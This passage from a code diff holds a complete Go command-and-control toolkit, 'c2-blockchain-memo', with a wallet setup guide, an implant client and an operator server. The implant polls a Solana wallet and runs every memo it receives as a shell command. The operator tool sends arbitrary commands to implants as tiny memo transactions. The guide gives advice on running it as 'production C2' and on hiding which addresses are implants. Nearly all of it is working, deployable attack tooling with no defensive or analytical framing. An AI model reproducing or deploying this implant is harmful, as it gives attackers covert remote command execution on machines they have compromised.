This prints the **base58 address** (starts with a number or letter, ~44 characters).
|
||||||
|
Example: `7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz`
|
||||||
|
|
||||||
|
You can also get it from the keypair file directly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat ~/.config/solota/operator.json | solana-keygen pubkey
|
||||||
|
```
|
||||||
|
|
||||||
|
**This address is PUBLIC.** It's safe to share — it's how people send you SOL and how
|
||||||
|
the C2 implant identifies which transactions to watch.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Generate a Wallet Without Solana CLI (Pure OpenSSL)
|
||||||
|
|
||||||
|
If you can't or won't install the Solana CLI, you can generate a wallet using just OpenSSL
|
||||||
|
and base58 encoding. This requires the base58 tool (`pip install base58` or use Python).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Generate 32 random bytes (the private key seed)
|
||||||
|
openssl rand -hex 32 > private-key.hex
|
||||||
|
|
||||||
|
# 2. Convert to raw bytes
|
||||||
|
xxd -r -p private-key.hex > private-key.bin
|
||||||
|
|
||||||
|
# 3. Create the Solana keypair JSON file (64 bytes: seed + derived pubkey)
|
||||||
|
# We need a Python one-liner for the Ed25519 key derivation:
|
||||||
|
python3 -c "
|
||||||
|
import json
|
||||||
|
from hashlib import sha512
|
||||||
|
|
||||||
|
# Read the seed (32 bytes)
|
||||||
|
with open('private-key.hex') as f:
|
||||||
|
seed = bytes.fromhex(f.read().strip())
|
||||||
|
|
||||||
|
# Ed25519 key expansion (simplified — in production use ed25519 lib)
|
||||||
|
# For the Solana CLI format, we need the full 64-byte keypair.
|
||||||
|
# The simplest approach: just install solana CLI for keygen.
|
||||||
|
# OR use Python's ed25519:
|
||||||
|
import nacl.bindings as nb
|
||||||
|
|
||||||
|
seed_bytes = seed
|
||||||
|
pk = nb.crypto_sign_seed_keypair(seed_bytes)[0]
|
||||||
|
keypair = list(seed_bytes + pk)
|
||||||
|
|
||||||
|
with open('operator.json', 'w') as f:
|
||||||
|
json.dump(keypair, f)
|
||||||
|
print('operator.json created')
|
||||||
|
"
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Honest advice:** Just install the Solana CLI. It's one command (`curl ... | sh`),
|
||||||
|
> it handles key derivation correctly, and the keypair file format is exactly what this
|
||||||
|
> C2 system expects. The OpenSSL method is shown here for understanding, not because
|
||||||
|
> it's easier.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Wallet File Format Explained
|
||||||
|
|
||||||
|
The Solana CLI creates keypair files in this format:
|
||||||
|
|
||||||
|
```json
|
||||||
|
[157,75,198,234,182,43,173,167,208,19,22,127,239,230,14,99,44,135,102,226,237,142,39,156,72,86,169,196,139,161,244,15,33,157,174,179,215,156,10,3,126,196,247,70,16,106,99,210,212,203,227,170,11,111,209,62,39,154,230,143,147,50,77,174]
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Bytes 0–31** (first 32): The **private key seed** (keep secret!)
|
||||||
|
- **Bytes 32–63** (last 32): The **public key** (derived from the seed)
|
||||||
|
|
||||||
|
Both the `--keypair` flag in the server and the `--keypair` flag in the client accept
|
||||||
|
this JSON array format AND the base58-encoded private key format.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Security Notes
|
||||||
|
|
||||||
|
- **The keypair file IS the private key.** Protect it like a password.
|
||||||
|
- **For production C2:** Use a dedicated wallet with only enough SOL for a few hundred
|
||||||
|
transactions. Top it up periodically.
|
||||||
|
- **For devnet testing:** Never use a mainnet wallet. Devnet SOL is free and infinite.
|
||||||
|
- **The chain is public.** Everyone can see the memo text. Don't send credentials or
|
||||||
|
secrets as commands (or encrypt them first — see README for encryption notes).
|
||||||
|
- **The implant wallet address is public** by design — anyone can send it transactions.
|
||||||
|
The C2 relies on the fact that only the operator knows which address is an implant.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick Start (TL;DR)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Install Solana CLI
|
||||||
|
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
|
||||||
|
|
||||||
|
# 2. Generate operator wallet
|
||||||
|
solana-keygen new --outfile ~/.config/solota/operator.json
|
||||||
|
|
||||||
|
# 3. Generate implant wallet
|
||||||
|
solana-keygen new --outfile ~/.config/solota/implant.json
|
||||||
|
|
||||||
|
# 4. Get free devnet SOL
|
||||||
|
solana config set --url devnet
|
||||||
|
solana airdrop 2
|
||||||
|
|
||||||
|
# 5. Note the addresses
|
||||||
|
echo "Operator: $(solana-keygen pubkey ~/.config/solota/operator.json)"
|
||||||
|
echo "Implant: $(solana-keygen pubkey ~/.config/solota/implant.json)"
|
||||||
|
|
||||||
|
# 6. Start the implant (watches its own address)
|
||||||
|
./bin/client --keypair ~/.config/solota/implant.json --rpc devnet
|
||||||
|
|
||||||
|
# 7. In another terminal, send a command
|
||||||
|
./bin/server --keypair ~/.config/solota/operator.json --rpc devnet
|
||||||
|
> send <IMPLANT_ADDRESS> whoami
|
||||||
|
```
|
||||||
@@ -0,0 +1,266 @@
|
|||||||
|
// cmd/client/main.go — C2 Blockchain Memo Implant
|
||||||
|
//
|
||||||
|
// Watches a Solana wallet address for incoming transactions and
|
||||||
|
// extracts any memo text (via the Memo Program). If the memo
|
||||||
|
// contains a shell command, it executes the command locally.
|
||||||
|
//
|
||||||
|
// The implant tracks which transactions it has already processed
|
||||||
|
// so it only executes each command once.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
//
|
||||||
|
// # Watch a wallet (no keypair needed — read-only mode):
|
||||||
|
// go run ./cmd/client --address <WALLET_ADDRESS> --rpc devnet
|
||||||
|
//
|
||||||
|
// # Watch own wallet from keypair:
|
||||||
|
// go run ./cmd/client --keypair implant-keypair.json --rpc devnet
|
||||||
|
//
|
||||||
|
// # Watch with custom polling interval (default 15s, with ±50% jitter):
|
||||||
|
// go run ./cmd/client --address ... --interval 30
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/signal"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gagliardetto/solana-go"
|
||||||
|
"github.com/gagliardetto/solana-go/rpc"
|
||||||
|
)
|
||||||
|
|
||||||
|
// seenTracks keeps track of processed transaction signatures so we
|
||||||
|
// never re-execute a command.
|
||||||
|
type seenTracker struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
seen map[string]struct{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (st *seenTracker) Add(sig string) {
|
||||||
|
st.mu.Lock()
|
||||||
|
st.seen[sig] = struct{}{}
|
||||||
|
st.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (st *seenTracker) Has(sig string) bool {
|
||||||
|
st.mu.Lock()
|
||||||
|
defer st.mu.Unlock()
|
||||||
|
_, ok := st.seen[sig]
|
||||||
|
return ok
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
addressStr = flag.String("address", "", "Implant wallet address to watch")
|
||||||
|
keypairPath = flag.String("keypair", "", "Path to implant keypair (uses its address)")
|
||||||
|
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
|
||||||
|
intervalSec = flag.Int("interval", 15, "Polling interval in seconds")
|
||||||
|
limit = flag.Int("limit", 10, "Max transactions to fetch per poll")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
endpoint := resolveEndpoint(*rpcEndpoint)
|
||||||
|
|
||||||
|
// ── Resolve the wallet address to watch ──────────────────────────
|
||||||
|
var watchAddress solana.PublicKey
|
||||||
|
|
||||||
|
if *addressStr != "" {
|
||||||
|
var err error
|
||||||
|
watchAddress, err = solana.PublicKeyFromBase58(*addressStr)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Invalid --address %q: %v", *addressStr, err)
|
||||||
|
}
|
||||||
|
} else if *keypairPath != "" {
|
||||||
|
key, err := loadKeypair(*keypairPath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
|
||||||
|
}
|
||||||
|
watchAddress = key.PublicKey()
|
||||||
|
} else {
|
||||||
|
log.Fatal("Either --address or --keypair must be provided")
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("🔭 Watching address: %s\n", watchAddress.String())
|
||||||
|
fmt.Printf("🔗 RPC endpoint: %s\n", endpoint)
|
||||||
|
fmt.Printf("⏱ Poll interval: %ds (with ±50%% jitter)\n", *intervalSec)
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
client := rpc.New(endpoint)
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
tracker := &seenTracker{seen: make(map[string]struct{})}
|
||||||
|
baseInterval := time.Duration(*intervalSec) * time.Second
|
||||||
|
|
||||||
|
// ── Signal handling for graceful shutdown ───────────────────────
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
fmt.Println("━━━ C2 Blockchain Memo — Implant ─━━")
|
||||||
|
fmt.Println("Listening for commands... Press Ctrl+C to stop.")
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
// ── Polling loop ─────────────────────────────────────────────────
|
||||||
|
poll := func() {
|
||||||
|
sigs, err := client.GetSignaturesForAddressWithOpts(
|
||||||
|
ctx,
|
||||||
|
watchAddress,
|
||||||
|
&rpc.GetSignaturesForAddressOpts{
|
||||||
|
Limit: &[]int{*limit}[0],
|
||||||
|
Commitment: rpc.CommitmentConfirmed,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ Poll error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process newest first (they come newest-first from the RPC)
|
||||||
|
for _, ts := range sigs {
|
||||||
|
// Only process confirmed/finalized transactions
|
||||||
|
if ts.Err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Skip already-seen
|
||||||
|
sigStr := ts.Signature.String()
|
||||||
|
if tracker.Has(sigStr) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
tracker.Add(sigStr)
|
||||||
|
|
||||||
|
// Check for memo via TxMemo field (populated by runtime for
|
||||||
|
// transactions that include a Memo Program instruction).
|
||||||
|
// This is faster than fetching the full transaction.
|
||||||
|
if ts.Memo == nil || *ts.Memo == "" {
|
||||||
|
// No memo attached to this transaction — skip.
|
||||||
|
// Optionally, we could fall back to fetching the full
|
||||||
|
// transaction and parsing instructions, but the Memo
|
||||||
|
// field is reliable for Memo Program transactions.
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
command := *ts.Memo
|
||||||
|
fmt.Printf("📩 New command from tx %s:\n", sigStr)
|
||||||
|
fmt.Printf(" Command: %s\n", command)
|
||||||
|
executeCommand(command)
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Do an initial poll immediately
|
||||||
|
poll()
|
||||||
|
|
||||||
|
// ── Polling ticker with jitter ───────────────────────────────────
|
||||||
|
ticker := time.NewTicker(baseInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ticker.C:
|
||||||
|
// Add jitter: ±50% of base interval, then poll
|
||||||
|
jitter := time.Duration(float64(baseInterval) * (rand.Float64() - 0.5))
|
||||||
|
time.Sleep(baseInterval + jitter)
|
||||||
|
|
||||||
|
poll()
|
||||||
|
|
||||||
|
// Schedule next tick
|
||||||
|
ticker.Reset(baseInterval)
|
||||||
|
|
||||||
|
case <-sigCh:
|
||||||
|
fmt.Println("\n👋 Shutting down...")
|
||||||
|
cancel()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Command execution ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
func executeCommand(command string) {
|
||||||
|
// Determine shell
|
||||||
|
shell, ok := os.LookupEnv("SHELL")
|
||||||
|
if !ok {
|
||||||
|
shell = "/bin/sh"
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd := exec.Command(shell, "-c", command)
|
||||||
|
cmd.Stdin = os.Stdin
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
// Capture stdout
|
||||||
|
output, err := cmd.Output()
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Command failed: %v", err)
|
||||||
|
if len(output) > 0 {
|
||||||
|
fmt.Printf(" Output (partial): %s\n", strings.TrimSpace(string(output)))
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
outStr := strings.TrimSpace(string(output))
|
||||||
|
if outStr != "" {
|
||||||
|
fmt.Printf("✅ Output:\n%s\n", outStr)
|
||||||
|
} else {
|
||||||
|
fmt.Println("✅ Command executed (no output)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Keypair loading (shared helper) ─────────────────────────────────
|
||||||
|
|
||||||
|
func loadKeypair(path string) (solana.PrivateKey, error) {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
content := strings.TrimSpace(string(data))
|
||||||
|
|
||||||
|
// Base58-encoded private key string
|
||||||
|
if !strings.HasPrefix(content, "[") {
|
||||||
|
pk, err := solana.PrivateKeyFromBase58(content)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid base58 private key: %w", err)
|
||||||
|
}
|
||||||
|
return pk, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Solana CLI format: JSON integer array [12, 34, 56, ...]
|
||||||
|
var byteArr []byte
|
||||||
|
if err := json.Unmarshal([]byte(content), &byteArr); err != nil {
|
||||||
|
return nil, fmt.Errorf("JSON decode of keypair: %w", err)
|
||||||
|
}
|
||||||
|
if len(byteArr) != 64 {
|
||||||
|
return nil, fmt.Errorf("expected 64 keypair bytes, got %d", len(byteArr))
|
||||||
|
}
|
||||||
|
|
||||||
|
return solana.PrivateKey(byteArr), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Endpoint resolution ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
func resolveEndpoint(name string) string {
|
||||||
|
switch strings.ToLower(name) {
|
||||||
|
case "mainnet", "mainnet-beta", "main":
|
||||||
|
return rpc.MainNetBeta_RPC
|
||||||
|
case "devnet", "dev":
|
||||||
|
return rpc.DevNet_RPC
|
||||||
|
case "testnet", "test":
|
||||||
|
return rpc.TestNet_RPC
|
||||||
|
default:
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||||
|
}
|
||||||
@@ -0,0 +1,261 @@
|
|||||||
|
// cmd/server/main.go — C2 Blockchain Memo Server (Operator Tool)
|
||||||
|
//
|
||||||
|
// Sends commands to implants by embedding them in Solana transaction
|
||||||
|
// memo fields. Each command is sent as a 1-lamport SOL transfer + memo
|
||||||
|
// instruction to the implant's wallet address.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
//
|
||||||
|
// # With a funded keypair (Solana CLI JSON-array format):
|
||||||
|
// go run ./cmd/server --keypair ~/.config/solana/id.json --rpc devnet
|
||||||
|
//
|
||||||
|
// # Generate a fresh ephemeral keypair (no SOL — for testing):
|
||||||
|
// go run ./cmd/server
|
||||||
|
//
|
||||||
|
// Interactive commands once running:
|
||||||
|
// send <IMPLANT_ADDRESS> <shell command>
|
||||||
|
// balance
|
||||||
|
// quit
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/gagliardetto/solana-go"
|
||||||
|
"github.com/gagliardetto/solana-go/programs/memo"
|
||||||
|
"github.com/gagliardetto/solana-go/programs/system"
|
||||||
|
"github.com/gagliardetto/solana-go/rpc"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
keypairPath = flag.String("keypair", "", "Path to operator keypair (Solana CLI JSON array)")
|
||||||
|
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
// Resolve named endpoints
|
||||||
|
endpoint := resolveEndpoint(*rpcEndpoint)
|
||||||
|
|
||||||
|
// ── Load or generate operator wallet ──────────────────────────────
|
||||||
|
var operatorWallet solana.PrivateKey
|
||||||
|
var err error
|
||||||
|
|
||||||
|
if *keypairPath != "" {
|
||||||
|
operatorWallet, err = loadKeypair(*keypairPath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
|
||||||
|
}
|
||||||
|
fmt.Printf("✅ Loaded operator wallet from %s\n", *keypairPath)
|
||||||
|
} else {
|
||||||
|
operatorWallet, err = solana.NewRandomPrivateKey()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to generate keypair: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Println("⚠️ Generated ephemeral operator wallet (no SOL — use --keypair)")
|
||||||
|
}
|
||||||
|
|
||||||
|
operatorPub := operatorWallet.PublicKey()
|
||||||
|
fmt.Printf("📍 Operator address: %s\n", operatorPub.String())
|
||||||
|
fmt.Printf("🔗 RPC endpoint: %s\n\n", endpoint)
|
||||||
|
|
||||||
|
client := rpc.New(endpoint)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
// ── Interactive REPL ──────────────────────────────────────────────
|
||||||
|
scanner := bufio.NewScanner(os.Stdin)
|
||||||
|
fmt.Println("━━━ C2 Blockchain Memo — Operator ━━━")
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" send <ADDRESS> <command> Send a shell command to an implant")
|
||||||
|
fmt.Println(" balance Check operator wallet SOL balance")
|
||||||
|
fmt.Println(" quit Exit")
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
for {
|
||||||
|
fmt.Print("› ")
|
||||||
|
if !scanner.Scan() {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.SplitN(line, " ", 3)
|
||||||
|
switch parts[0] {
|
||||||
|
case "quit", "exit", "q":
|
||||||
|
fmt.Println("Bye.")
|
||||||
|
return
|
||||||
|
case "balance":
|
||||||
|
checkBalance(ctx, client, operatorPub)
|
||||||
|
case "send":
|
||||||
|
if len(parts) < 3 {
|
||||||
|
fmt.Println("Usage: send <IMPLANT_ADDRESS> <command>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sendCommand(ctx, client, operatorWallet, parts[1], parts[2], endpoint)
|
||||||
|
default:
|
||||||
|
fmt.Printf("Unknown command: %q (try: send, balance, quit)\n", parts[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Core: send a command as a memo transaction ──────────────────────
|
||||||
|
|
||||||
|
func sendCommand(
|
||||||
|
ctx context.Context,
|
||||||
|
client *rpc.Client,
|
||||||
|
operator solana.PrivateKey,
|
||||||
|
implantAddrStr, command string,
|
||||||
|
endpoint string,
|
||||||
|
) {
|
||||||
|
implantPubkey, err := solana.PublicKeyFromBase58(implantAddrStr)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Invalid implant address %q: %v", implantAddrStr, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Get latest blockhash
|
||||||
|
recent, err := client.GetLatestBlockhash(ctx, rpc.CommitmentFinalized)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to get recent blockhash: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
operatorPub := operator.PublicKey()
|
||||||
|
|
||||||
|
// 2. Build transfer instruction (1 lamport — minimal cost,
|
||||||
|
// creates an on-chain footprint linking to the implant address)
|
||||||
|
transferIx := system.NewTransferInstruction(
|
||||||
|
1, // lamports
|
||||||
|
operatorPub,
|
||||||
|
implantPubkey,
|
||||||
|
).Build()
|
||||||
|
|
||||||
|
// 3. Build memo instruction with the command text
|
||||||
|
memoIx, err := memo.NewMemoInstruction(
|
||||||
|
[]byte(command),
|
||||||
|
operatorPub,
|
||||||
|
).ValidateAndBuild()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to build memo instruction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Build the transaction
|
||||||
|
tx, err := solana.NewTransaction(
|
||||||
|
[]solana.Instruction{transferIx, memoIx},
|
||||||
|
recent.Value.Blockhash,
|
||||||
|
solana.TransactionPayer(operatorPub),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to build transaction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. Sign
|
||||||
|
_, err = tx.Sign(func(key solana.PublicKey) *solana.PrivateKey {
|
||||||
|
if key.Equals(operatorPub) {
|
||||||
|
return &operator
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to sign transaction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. Send
|
||||||
|
sig, err := client.SendTransaction(ctx, tx)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to send transaction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
clusterParam := clusterParamFromEndpoint(endpoint)
|
||||||
|
|
||||||
|
fmt.Printf("✅ Command sent!\n")
|
||||||
|
fmt.Printf(" Signature: %s\n", sig.String())
|
||||||
|
fmt.Printf(" Explorer: https://solscan.io/tx/%s?%s\n", sig.String(), clusterParam)
|
||||||
|
fmt.Printf(" Command: %q\n", command)
|
||||||
|
fmt.Printf(" Implant: %s\n", implantAddrStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Balance check ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func checkBalance(ctx context.Context, client *rpc.Client, pubkey solana.PublicKey) {
|
||||||
|
balance, err := client.GetBalance(ctx, pubkey, rpc.CommitmentFinalized)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to check balance: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sol := float64(balance.Value) / 1e9
|
||||||
|
fmt.Printf("💰 Balance: %.9f SOL (%d lamports)\n", sol, balance.Value)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Keypair loading ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func loadKeypair(path string) (solana.PrivateKey, error) {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
content := strings.TrimSpace(string(data))
|
||||||
|
|
||||||
|
// Base58-encoded private key string
|
||||||
|
if !strings.HasPrefix(content, "[") {
|
||||||
|
pk, err := solana.PrivateKeyFromBase58(content)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid base58 private key: %w", err)
|
||||||
|
}
|
||||||
|
return pk, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Solana CLI format: JSON integer array [12, 34, 56, ...]
|
||||||
|
var byteArr []byte
|
||||||
|
if err := json.Unmarshal([]byte(content), &byteArr); err != nil {
|
||||||
|
return nil, fmt.Errorf("JSON decode of keypair: %w", err)
|
||||||
|
}
|
||||||
|
if len(byteArr) != 64 {
|
||||||
|
return nil, fmt.Errorf("expected 64 keypair bytes, got %d", len(byteArr))
|
||||||
|
}
|
||||||
|
|
||||||
|
return solana.PrivateKey(byteArr), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Helpers ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func resolveEndpoint(name string) string {
|
||||||
|
switch strings.ToLower(name) {
|
||||||
|
case "mainnet", "mainnet-beta", "main":
|
||||||
|
return rpc.MainNetBeta_RPC
|
||||||
|
case "devnet", "dev":
|
||||||
|
return rpc.DevNet_RPC
|
||||||
|
case "testnet", "test":
|
||||||
|
return rpc.TestNet_RPC
|
||||||
|
default:
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func clusterParamFromEndpoint(endpoint string) string {
|
||||||
|
switch {
|
||||||
|
case strings.Contains(endpoint, "mainnet"):
|
||||||
|
return "cluster=mainnet-beta"
|
||||||
|
case strings.Contains(endpoint, "devnet"):
|
||||||
|
return "cluster=devnet"
|
||||||
|
case strings.Contains(endpoint, "testnet"):
|
||||||
|
return "cluster=testnet"
|
||||||
|
default:
|
||||||
|
return "cluster=custom&customUrl=" + endpoint
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
module c2-blockchain-memo
|
||||||
|
|
||||||
|
go 1.26
|
||||||
|
|
||||||
|
require github.com/gagliardetto/solana-go v1.16.0
|
||||||
|
|
||||||
|
require (
|
||||||
|
filippo.io/edwards25519 v1.1.0 // indirect
|
||||||
|
github.com/benbjohnson/clock v1.3.5 // indirect
|
||||||
|
github.com/blendle/zapdriver v1.3.1 // indirect
|
||||||
|
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||||
|
github.com/fatih/color v1.18.0 // indirect
|
||||||
|
github.com/gagliardetto/binary v0.8.0 // indirect
|
||||||
|
github.com/gagliardetto/treeout v0.1.4 // indirect
|
||||||
|
github.com/google/uuid v1.6.0 // indirect
|
||||||
|
github.com/json-iterator/go v1.1.12 // indirect
|
||||||
|
github.com/klauspost/compress v1.18.0 // indirect
|
||||||
|
github.com/logrusorgru/aurora v2.0.3+incompatible // indirect
|
||||||
|
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||||
|
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||||
|
github.com/mitchellh/go-testing-interface v1.14.1 // indirect
|
||||||
|
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||||
|
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||||
|
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 // indirect
|
||||||
|
github.com/mr-tron/base58 v1.2.0 // indirect
|
||||||
|
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e // indirect
|
||||||
|
go.mongodb.org/mongo-driver v1.17.3 // indirect
|
||||||
|
go.uber.org/multierr v1.11.0 // indirect
|
||||||
|
go.uber.org/ratelimit v0.3.1 // indirect
|
||||||
|
go.uber.org/zap v1.27.0 // indirect
|
||||||
|
golang.org/x/crypto v0.47.0 // indirect
|
||||||
|
golang.org/x/sys v0.40.0 // indirect
|
||||||
|
golang.org/x/term v0.39.0 // indirect
|
||||||
|
golang.org/x/time v0.11.0 // indirect
|
||||||
|
)
|
||||||
@@ -0,0 +1,143 @@
|
|||||||
|
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
||||||
|
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
||||||
|
github.com/AlekSi/pointer v1.2.0 h1:glcy/gc4h8HnG2Z3ZECSzZ1IX1x2JxRVuDzaJwQE0+w=
|
||||||
|
github.com/AlekSi/pointer v1.2.0/go.mod h1:gZGfd3dpW4vEc/UlyfKKi1roIqcCgwOIvb0tSNSBle0=
|
||||||
|
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||||
|
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
|
||||||
|
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||||
|
github.com/blendle/zapdriver v1.3.1 h1:C3dydBOWYRiOk+B8X9IVZ5IOe+7cl+tGOexN4QqHfpE=
|
||||||
|
github.com/blendle/zapdriver v1.3.1/go.mod h1:mdXfREi6u5MArG4j9fewC+FGnXaBR+T4Ox4J2u4eHCc=
|
||||||
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
